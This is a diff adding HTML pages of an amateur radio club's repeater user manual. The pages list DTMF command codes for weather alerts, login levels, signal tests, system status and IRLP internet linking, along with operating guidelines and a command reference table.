+ don't want to wait for the entire 2 minutes provided by command code 60.
+ <P>
+ Note: Do not use this command to interrupt an automatically triggered weather alert transmission.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Replay last weather alert message</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>62</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command replays the last automatically transmitted weather alert message.
+ <P>
+ Each time a weather alert is broadcast by the local NOAA weather station, the repeater will play the
+ message live on both the W8GQN and N8DNX repeaters while recording the message for replay. If a
+ weather alert has been triggered, the repeater will announce this by periodically stating "Weather
+ Alert". Use this command to listen to the most recent message.
+ <P>
+ <B>Note:</B> Only control operators can clear a weather alert message and discontinue the alert announcements.
+ <P>
+ The weather receiver is only triggered by significant local weather broadcasts from NOAA that will
+ affect Emmet and surrounding counties and is not triggered by test messages.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>On-Line help for Weather Alert and Monitoring Commands</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>69</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays a brief polite voice message describing the weather alert system and
+ monitoring of NOAA weather broadcasts.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="SecurityAccess"></A>
+ <P><U>Security and Access Commands</U> <P></TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>List Users Who are Currently Logged In</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>70</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command will list any users who used command code 71 and are currently logged in (have
+ a user level greater than 0). Logging into the system permits a user to use restricted
+ commands (commands which require a user level greater than 0). A user will remain "logged in"
+ as long as they keep entering commands. If a logged-in user doesn't enter a command for some
+ period of time, the system will automatically log that user out of the system and return them
+ to user level 0.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Log Into the System</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>71 {user ID}<BR>
+ 71 {user ID} {Pass Code}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to log into the repeater system and permit access to commands that require
+ a user level greater than 0.
+ <P>
+ <B>Note:</B> The system will log you out automatically if you do not enter any command codes
+ for a few minutes. When this happens, you will hear the message "{your call} Control Down".
+ <P>
+ <B>WARNING:</B> Any user on the repeater you used to log-into the system may issue restricted
+ commands permitted to your user level while you are logged in. In essence, once you log in,
+ the system can't tell if someone sending it command codes is the one who logged-in or someone
+ else. You are responsible for the use of your user ID. Be sure to log out using command code
+ 72 as soon as you are done.
+ <P>
+ <B>WARNING:</B> You are responsible for the use of your user ID. Do not share your Pass Code
+ or Pass Phrase with others. If you believe for some reason that your ID and Pass Code or Pass
+ Phrase is being used by someone else, contact a control or system operator immediately and
+ have them disable your ID or issue you new access codes.
+ <P
+ Each user who is granted restricted access to the repeater system (club members, remote base
+ users, control operators, etc.) is given a specific numeric user "ID" and a "Pass Code" or
+ "Pass Phrase". User ID's are grouped by access level and a specific ID is only given to one
+ individual at a time. That numeric ID with uniquely identify the user to the system and establish
+ the "User Level" the user attains when logged in. That User Level determines what commands the user may use.
+ <P>
+ A user with a specific user level may use any commands available to that user level and all
+ commands available to lower user levels. For example, a General class remote base user can use
+ any command available to Tech class remote base users, club members or any user who has not
+ logged-in, but not those available only to level 4 (Advanced) and greater.
+ <P>
+ <TABLE BORDER="0">
+ <TR><TH>ID</TH><TH>Level</TH><TH>User Type</TH></TR>
+ <TR><TD>(none)</TD><TD>0</TD><TD>Any repeater user</TD></TR>
+ <TR><TD>100-199</TD><TD>1</TD><TD>Club members without access to the Remote Base System</TD></TR>
+ <TR><TD>200-299</TD><TD>2</TD><TD>Remote Base users with a Tech class license</TD></TR>
+ <TR><TD>300-399</TD><TD>3</TD><TD>Remote Base users with a General class license</TD></TR>
+ <TR><TD>400-499</TD><TD>4</TD><TD>Remote Base users with an Advanced class license</TD></TR>
+ <TR><TD>500-599</TD><TD>5</TD><TD>Remote Base users with an Extra class license</TD></TR>
+ <TR><TD>600-699</TD><TD>6</TD><TD>Repeater Control operators and Officers</TD></TR>
+ <TR><TD>700-999</TD><TD>7</TD><TD>System operators and programmers</TD></TR>
+ </TABLE>
+ <P>
+ Note: The remote base system knows on which frequencies each class of licensee is permitted
+ to transmit. Operators need not worry about transmitting outside frequencies permitted for their
+ license class-the system will not let them do so. This is the only reason for separating access
+ levels by license class.
+ <P>
+ There are two forms of this command. Which one you use will depend on whether you have been
+ assigned a "Pass Code" or a "Pass Phrase". A "Pass Code" is a specific sequence of from 3 to
+ 5 digits that you will always enter exactly. A "Pass Phrase" is a longer sequence of up to 8
+ digits that provide a "cross reference" of sorts and is used as part of a "challenge/response"
+ process. The practical difference is that someone monitoring the input channel with a Touch
+ Tone decoder can decode your "Pass Code" and use your ID, while the proper use of "Pass Phrase"
+ makes it very difficult for someone monitoring with a decoder to correctly determine your entire
+ Pass Phrase and thus to use your ID.
+ <P>
+ <B>Note:</B> Use of a "Pass Phrase" is beyond the scope of this manual and will be explained to
+ users who for some reason require higher security.
+ <P>
+ Most users will be assigned a Pass Code and will log-in the same way each time. For example,
+ a user with the ID 167 and a Pass Code of 526 would log into the system as follows:
+ <DL>
+ <DD>71 167 526
+ </DL>
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Log Out of the System</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>72</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>1 - All Logged-In Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to log out of the system and return to user level 0. You are required to use
+ this command when you are done entering restricted commands to prevent other unprivileged users
+ from entering restricted commands.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>On-Line help for Security and Access Commands</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>79</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays a brief polite voice message describing the Security and Access command codes.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Test"></A>
+ <P><U>Test and Diagnostic Commands</U> <P></TH></TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Touch Tone Pad Test</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>80 {digits}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to test the Touch Tone pad on your radio. Any digits included after command code
+ 80 will be repeated by the system in the order in which they were entered. Do not un-key between
+ the command code and the digits you want to test.
+ <P>
+ Use may use this command to test all keys on your Touch Tone pad, including A, B, C, D, * and #.
+ <P>
+ <B>Note:</B> If the system doesn't properly reply, you may not be strong enough into the repeater
+ to reliably enter codes or may have some problem with your radio. The most common problems other
+ than a weak signal are under or over deviation and "twist". Twist is a situation where there is
+ a significant difference in level between the low tones and high tones that are produced as you
+ press each key.
+ <P>
+ You can use this command to determine if you have a good enough signal prior to executing other commands.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Test Received Audio</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>81</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Using this command you can hear a short recording of your signal as the repeater received it to evaluate
+ how well you're being heard by the repeater. This can be helpful to ensure that your signal is adequate
+ for a reliable autopatch or to help evaluate issues with your signal.
+ <OL>
+ <LI>Key your transmitter and enter command code 81
+ <LI>Unkey your transmitter and wait for the courtesy beep
+ <LI>Key your transmitter and make a short transmission
+ <LI>Unkey your transmitter
+ </OL>
+ The system will then replay a recording of your last transmission.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Report Your Signal Level on one of the UHF Repeaters</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>82</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command reports the average of your signal level over the last several seconds of your
+ transmission and the high (maximum) value during your entire transmission. The command only
+ functions on the N8DNX and KO8P repeaters.
+ <P>
+ At this point a short description of the UHF receiver systems is in order to help you understand
+ the signal levels reported by this command code. Briefly, both UHF repeaters use the same antenna,
+ preamplifier, transmission line and distribution amplifier. The following table lists, in order,
+ various parts of the receive system with gains and losses.
+ <P>
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Antenna</TH> <TD>+9 db</TD></TR>
+ <TR><TH ALIGN="left">Preamp Front-end Filter</TH> <TD>-.4 db</TD></TR>
+ <TR><TH ALIGN="left">Preamp</TH> <TD>+20 db (noise figure aprox .5 db)</TD></TR>
+ <TR><TH ALIGN="left">Protector, DC pickoff</TH> <TD>-.3 db</TD></TR>
+ <TR><TH ALIGN="left">Transmission line</TH> <TD>-14.9 db</TD></TR>
+ <TR><TH ALIGN="left">Protector</TH> <TD>-.3 db</TD></TR>
+ <TR><TH ALIGN="left">DC Power Injector</TH> <TD>-.3 db</TD></TR>
+ <TR><TH ALIGN="left">Distribution Amplifier</TH> <TD>+12 db</TD></TR>
+ <TR><TH ALIGN="left">Signal Splitter</TH> <TD>-3 db</TD></TR>
+ <TR><TH ALIGN="left"> </TH> <TD><HR></TD></TR>
+ <TR><TH ALIGN="left">Net gain after front-end filter</TH><TD>+13.2 db</TD></TR>
+ </TABLE>
+ <P>
+ Since there is adequate gain in the system to overcome any loss after the preamplifier, the
+ system noise figure (sensitivity) is effectively set at the preamplifier. The signal delivered to
+ the receiver, where the signal level is measured, has a net gain of +13.2 db over the level of
+ signals at the input to the preamplifier. As a result, the reported signal levels may seem a bit
+ higher than you would normally expect for the quality of signal received since I did not compensate
+ for this when I calibrated it. (Perhaps I will some time in the future.)
+ <P>
+ The following table can be used to convert the dbm readings to uv (microvolts) at the receiver and
+ preamplifier inputs, and to gain an understanding of what these numbers mean in practical terms.
+ <P>
+ <TABLE BORDER="0">
+ <TR><TH>dbm</TH><TH>At receiver</TH><TH>At preamp</TH><TH>Comment</TH></TR>
+ <TR><TD>-113</TD> <TD>.5 uv</TD> <TD>.1 uv</TD> <TD>Lowest possible reading</TD></TR>
+ <TR><TD>-110</TD> <TD>.7 uv</TD> <TD>.15 uv</TD> <TD>Weak signal, copyable</TD></TR>
+ <TR><TD>-100</TD> <TD>2.2 uv</TD> <TD>.48 uv</TD> <TD>Some noise, good signal</TD></TR>
+ <TR><TD>-90</TD> <TD>7.1 uv</TD> <TD>1.5 uv</TD> <TD>Little noise, solid signal</TD></TR>
+ <TR><TD>-80</TD> <TD>22 uv</TD> <TD>4.8 uv</TD> <TD>Near full quieting</TD></TR>
+ <TR><TD>-70</TD> <TD>71 uv</TD> <TD>15 uv</TD> <TD>Excellent signal</TD></TR>
+ <TR><TD>-66</TD> <TD>112 uv</TD> <TD>25 uv</TD> <TD>Highest possible reading</TD></TR>
+ </TABLE>
+ <P>
+ <B>Note:</B> Due to limitations in the signal level reporting of the repeater, -113 is the weakest
+ reading, and -66 is the strongest reading that can be reported. Signals stronger than -66 dbm will
+ still read approximately that value. Also, due to a slight increase in loss at the front-end filter
+ on the input frequency of the KO8P repeater, readings on that repeater will be slightly worse than the N8DNX repeater.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>On-Line help for Test and Diagnostic Commands</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>89</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays a brief polite voice message describing the test and diagnostic command codes.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top" COLSPAN="2"><A NAME="Status"></A>
+ <P><U>System Status Commands</U> <P></TH></TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>System Status Summary</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>90</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to produce a report of all system status values. The values reported are:
+ <DL>
+ <DD>Date and time
+ <DD>Backup battery current
+ <DD>Backup battery voltage
+ <DD>DC Supply voltage
+ <DD>UHF #1 (N8DNX) "Squelch Low" status
+ <DD>UHF preamp current
+ </DL>
+ For an explanation of these values see the appropriate individual command below.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Backup Battery Current</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>91</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Report the present averaged value of current through the backup battery bank. This command
+ reports the "absolute value" of the battery current (only the amount of current, not
+ whether it's into or out of the batteries).
+ <P>
+ Normally, the battery backup system charges the backup batteries as they are being used.
+ The amount of current being reported is actually the net current between the charge and
+ load currents. During a power failure, you are likely to see current values up to, or
+ exceeding, 100 amps. Also, since the N8DNX power amplifier is tied directly to the backup
+ batteries, you may see values exceeding 50 amps at times when AC power is present.
+ <P>
+ <B>Note:</B> At this time there is a problem with obtaining a reliable value of current from
+ the backup battery current shunt amplifier. Values may not be correct or even close.
+ (I hope to fix that sometime next spring.)
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Backup Battery Voltage</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>92</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command reports the voltage present on the backup batteries. When AC power is present,
+ a voltage or 13 volts or greater is normal. Lower voltages indicate that there is currently
+ an AC power failure, or the has been and the batteries are still being charged.
+ <P>
+ <B>Note:</B> When the backup battery voltage is less than 12.8 volts, but greater than 11.5
+ volts, the repeater courtesy beeps on the W8GQN and N8DNX repeaters will change to a CW "B".
+ This indicates that the system is on, or recovering from an AC power failure. A CW "BL"
+ indicates that the battery voltage is less than 11.5 volts (battery low). The power inverter
+ will automatically shut off, and the repeaters will cease to function, when the voltage reaches
+ about 10.5 volts. This is necessary to protect the batteries.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>DC Supply Voltage</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>93</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command reports the voltage present at the DC input of the RLC-3 repeater controller
+ and roughly represents the voltage of the DC power supply used to power the controller and
+ various other devices in the repeater system. This value should always be roughly 13.8 volts.
+ <P>
+ <B>Note:</B> The DC power supply is used to power devices that require 12V DC, but that
+ won't operate properly with the reduced or varying voltage available on the backup batteries.
+ During an AC power failure, the backup system will automatically switch in and produce AC power
+ from a 1 KW power inverter to all devices that require AC power, including the DC power supply.
+ This permits these devices to continue operate during an AC power failure as they normally would
+ when AC is present.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Date and Time</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>94</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Report the current Date and Time as known by the internal clock in the repeater controller.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Room Temperature</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>95</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command reports the temperature inside the repeater room. During the winter, the repeater
+ room is normally kept warm by heat passing through the wall from the broadcast transmitters
+ in the next room. In extreme conditions, an AC heater in the room will provide additional heat to
+ keep the room above about 55 degrees.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>UHF #1 (N8DNX) SQ (Squelch) Low Status</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>96</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Enter this command to report the status of the "Squelch Low" control line to the N8DNX repeater.
+ When "Squelch Low" is on, the squelch on the repeater is set to be slightly more sensitive.
+ When "Squelch Low" is off, the squelch on the repeater is set a bit tighter-which can be helpful
+ for eliminating low-level interference.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>UHF Preamp Current</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>98</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command reports the DC supply current to the tower-mounted UHF preamplifier. A normal value
+ is approximately 220 ma. Any value significantly different from that may indicate a problem with
+ the UHF preamplifier.
+ <P>
+ <B>Note:</B> The UHF preamplifier is actually a redundant pair of individual preamplifier stages.
+ Either of the two preamplifier circuits can fail and the system will continue to function, although
+ with a slightly worse system noise figure and about 3 db less gain. The failure of one of these
+ two redundant pairs may cause a decrease or increase in the current reported by this command.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>On-Line help for Test and Diagnostic Commands</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>99</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">User Level Required:</TH> <TD>0 - All Users</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command plays a brief polite voice message describing the system status functions.
+ <P>
+ </TD>
+ </TR>
+
+</TABLE>
+<P>
+
+<P>
+<A NAME="IRLP"></A>
+<H2>IRLP - Internet Radio Linking Project</H2>
+<P>
+The "Internet Radio Linking Project" (IRLP) is a cooperative project to link distant Amateur Radio stations and
+repeaters (nodes) over the Internet. IRLP permits the operator at one node to select, and connect to, any other
+available distant node by entering specific commands. Once connected, radio users within range of either connected
+node can enter into a QSO as if they are all using the same local repeater. IRLP nodes are located all over the
+world and as such provide an opportunity for DX, of sorts, for local users. Currently, there are more than 275 nodes,
+many in North America, but a number scattered across the world.
+<P>
+<B>Note:</B> You do not need a higher-class license to use the IRLP system. If your license permits you to use a
+repeater, then you are permitted to use IRLP.
+<P>
+A status page with a list of nodes and status of each is available over the Internet at <A HREF="http://status.irlp.net">http://status.irlp.net</A>.
+<P>
+A four-digit number designates each node. The on-line status page lists the node number, call letters, location,
+last status update and present status of each node. The preset status will be one of the following values.
+<P>
+<DL><DD><TABLE BORDER="0">
+ <TR><TH ALIGN="left">DOWN</TH> <TD>Node is currently out of operation or unreachable</TD></TR>
+ <TR><TH ALIGN="left">IDLE</TH> <TD>Node is operational and available for a connection</TD></TR>
+ <TR><TH ALIGN="left">REF#</TH> <TD>Node is connected to an IRLP reflector. Connect to that reflector
+ to contact users of the node.</TD></TR>
+ <TR><TH ALIGN="left">{anything else}</TH> <TD>The call sign or name of another node to which it is connected-the
+ node is unavailable.</TD></TR>
+</TABLE></DL>
+<P>
+Reflectors are central servers that permit more than 2 IRLP nodes to connect to each other at one time. These
+reflectors permit a "round table" of sorts between users of 2 or more nodes. You may connect to a reflector just
+as you would to any specific node. The only difference is that you never know where you may reach or whom you may contact!
+<P>
+You connect to a remote node or reflector by entering a command prefix (38) followed by the number of the node. To disconnect
+from any IRLP node, use "38 73".
+<P>
+<DL><DD><TABLE BORDER="0">
+ <TR><TH ALIGN="left">38 {nnn}</TH> <TD>Connect to node number {nnn}</TD></TR>
+ <TR><TH ALIGN="left">38 73</TH> <TD>Disconnect from any node</TD></TR>
+</TABLE></DL
+<P>
+When you connect to a distant IRLP node, you will hear a message indicating that you are connected to their node.
+Similarly, when you connect to the distant node, that node will transmit a message indicating which node has connected to
+it. Below are examples for connecting to, and disconnecting from, WB8NXP's IRLP node on his repeater in Southfield MI.
+<P>
+<DL><DD><TABLE BORDER="0">
+ <TR><TH ALIGN="left">38 4460</TH> <TD>Connect to node 446 in Southfield (talk to stations in Southfield)</TD></TR>
+ <TR><TH ALIGN="left">38 73</TH> <TD>Disconnect from node 446 in Southfield</TD></TR>
+</TABLE></DL>
+<P>
+Users of other IRLP nodes may also connect to our IRLP node. If any call from another node comes in while IRLP is not
+connected to one of the repeaters, the IRLP system will automatically connect to the W8GQN VHF repeater and the incomming call
+will be heard there.
+<P>
+Note: The following are special commands to the IRLP node. These commands are unique to the IRLP node on our system and
+will not function on other IRLP nodes. These do not connect to other IRLP nodes. Instead they perform functions local to
+the IRLP computer, such as playing an ARRL News recording.
+
+<P>
+<DL><DD><TABLE BORDER="0">
+ <TR><TH ALIGN="left">38 73</TH> <TD>Stop playing recorded audio news</TD></TR>
+ <TR><TH ALIGN="left">38 0001</TH> <TD>Play the most recent ARRL Audio News Bulletin (Updated late Saturday night)</TD></TR>
+ <TR><TH ALIGN="left">38 0002</TH> <TD>Play the most recent Amateur Radio Newsline (Updated late Saturday night)</TD></TR>
+ <TR><TH ALIGN="left">38 0003</TH> <TD>Play the most recent This Week in Amateur Radio (Updated early Sunday morning)</TD></TR>
+ <TR><TH ALIGN="left">38 0101</TH> <TD>Play Pelston Airport weather (Updated hourly - on the hour)</TD></TR>
+ <TR><TH ALIGN="left">38 0102</TH> <TD>Play statistics report from most receint IRLP connection</TD></TR>
+ <TR><TH ALIGN="left">38 0103</TH> <TD>Play Propagation report (Updated hourly - :05 after the hour)</TD></TR>
+ <TR><TH ALIGN="left">38 0104</TH> <TD>Play list of nearby APRS stations</TD></TR>
+ <TR><TH ALIGN="left">38 0199</TH> <TD>Play a silly message</TD></TR>
+</TABLE></DL>
+<P>
+Operation on the IRLP network is very similar to operation on the local repeater, with a few exceptions.
+<P>
+<A NAME="IRLPGuidlines"></A>
+<H3>General IRLP node use guidelines:</H3>
+<UL>
+ <LI>Be considerate and patient with other IRLP users. There are new IRLP nodes being added all the time and inexperienced users trying the system every day-try to make them welcome. Remember, you are Northern Michigan's "ambassadors" to the world.
+ <LI>Do not tie up the W8GQN SAARC club repeater for extended times with IRLP operation during peak use hours for the repeater. The KO8P repeater is preferred for long-term remote base and IRLP operations.
+ <LI>Assist traveling Hams with use of the IRLP system. If they've used IRLP elsewhere, they may be familiar with needing a prefix before the IRLP Node nuimber. There is no problem with informing them on how to use our IRLP Node.
+</UL>
+When connected to another IRLP node:
+<UL>
+ <LI>Wait 10-15 seconds after connecting to a distant IRLP node to account for transmission of the voice message on the distant IRLP node.
+ <LI>Allow an extra second or two between transmissions to account for network delays.
+ <LI>Include your city and state when you ID. Users of the distant IRLP node may not know you are not a local user.
+ <LI>Immediately after connecting to a distant IRLP node, identify with your call, city and state.
+ <LI>Identify and state that you are disconnecting before disconnecting from a distant IRLP node.
+</UL>
+When connected to an IRLP Reflector (in addition to the above):
+<UL>
+ <LI>Always permit extra time between transmissions to account for network delays and for other stations to join or leave a discussion. (Some nodes cannot disconnect when someone is talking.)
+ <LI>Identify before sending any DTMF commands, such as to disconnect from a node.
+ <LI>Hold your microphone PTT for about 1 second before talking to allow for network delays.
+ <LI>To break into a QSO, state your call sign once during a pause in traffic.
+ <LI>Don't break into a QSO simply to "work" one of the stations. Do break into a QSO to join a conversation.
+ <LI>When more than 2 people are in a QSO on a reflector, try to maintain an organized "round table" format.
+ <LI>Do not start a "Net" on a reflector without the permission of the reflector owner.
+ <LI>If you are experiencing interference to the local repeater, disconnect from the reflector to avoid interfering with other user's transmissions.
+ <LI>Keep in mind that there may at times be many users on the same reflector. Always be courteous and patient!
+</UL>
+For a detailed description of IRLP, additional operating guidelines, and how you can participate, go to
+<A HREF="http://www.irlp.net">http://www.irlp.net</A>.
+<P>
+
+<P>
+
+<A NAME="CommandRef"></A>
+<H2>User Command Reference</H2>
+
+User Levels: 0 = Public user, 1 = Club member
+
+<TABLE BORDER="1">
+ <TR><TH>Command</TH> <TH>Function</TH> <TH>Min User Level</TH></TR>
+ <TR><TD>*00</TD> <TD>VHF Repeater PL By-Pass for 15 Minutes</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>* {phone#}</TD> <TD>Dial {phone#} on autopatch</TD> <TD>0</TD></TR>
+ <TR><TD>#</TD> <TD>Hang up autopatch</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>19</TD> <TD>Help with Autopatch commands</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>20</TD> <TD>Check for public mail - Announces who mail is for.</TD> <TD>0</TD></TR>
+ <TR><TD>21 {message#}</TD> <TD>Retrieve public mail message.</TD> <TD>0</TD></TR>
+ <TR><TD>22</TD> <TD>Erase the public mail message just retrieved<BR>
+ (May only be used after command 21.)</TD> <TD>0</TD></TR>
+ <TR><TD>23</TD> <TD>Record a public mail message</TD> <TD>0</TD></TR>
+ <TR><TD>24 {user #}</TD> <TD>Retrieve private mail</TD> <TD>1</TD></TR>
+ <TR><TD>25</TD> <TD>Erase private mail</TD> <TD>1</TD></TR>
+ <TR><TD>26 {user #}</TD> <TD>Record private mail for {user#}</TD> <TD>1</TD></TR>
+ <TR><TD>27</TD> <TD>Play club bulletins</TD> <TD>0</TD></TR>
+ <TR><TD>270</TD> <TD>Play expanded club bulletin</TD> <TD>0</TD></TR>
+ <TR><TD>28</TD> <TD>Play N8DNX repeater bulletins</TD> <TD>0</TD></TR>
+ <TR><TD>280</TD> <TD>Play expanded N8DNX bulletin</TD> <TD>0</TD></TR>
+ <TR><TD>29</TD> <TD>Help with message commands</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>30</TD> <TD>Intra-system linking off</TD> <TD>1</TD></TR>
+ <TR><TD>31</TD> <TD>Monitor W8GQN repeater from current repeater</TD> <TD>1</TD></TR>
+ <TR><TD>32</TD> <TD>Link to W8GQN repeater from current repeater</TD> <TD>1</TD></TR>
+ <TR><TD>33</TD> <TD>Monitor N8DNX repeater from current repeater</TD> <TD>1</TD></TR>
+ <TR><TD>34</TD> <TD>Link to N8DNX repeater from current repeater</TD> <TD>1</TD></TR>
+ <TR><TD>35</TD> <TD>Monitor KO8P repeater from current repeater</TD> <TD>1</TD></TR>
+ <TR><TD>36</TD> <TD>Link to KO8P repeater from current repeater</TD> <TD>1</TD></TR>
+ <TR><TD>38 {node#}</TD> <TD>Connect to IRLP node {node#}</TD> <TD>0</TD></TR>
+ <TR><TD>38 73</TD> <TD>Disconnect or stop playing audio news program</TD> <TD>0</TD></TR>
+ <TR><TD>38 0001</TD> <TD>Play ARRL Audio News (must be linked to IRLP)</TD> <TD>0</TD></TR>
+ <TR><TD>38 0002</TD> <TD>Play Amateur Radio Newsline (must be linked to IRLP)</TD> <TD>0</TD></TR>
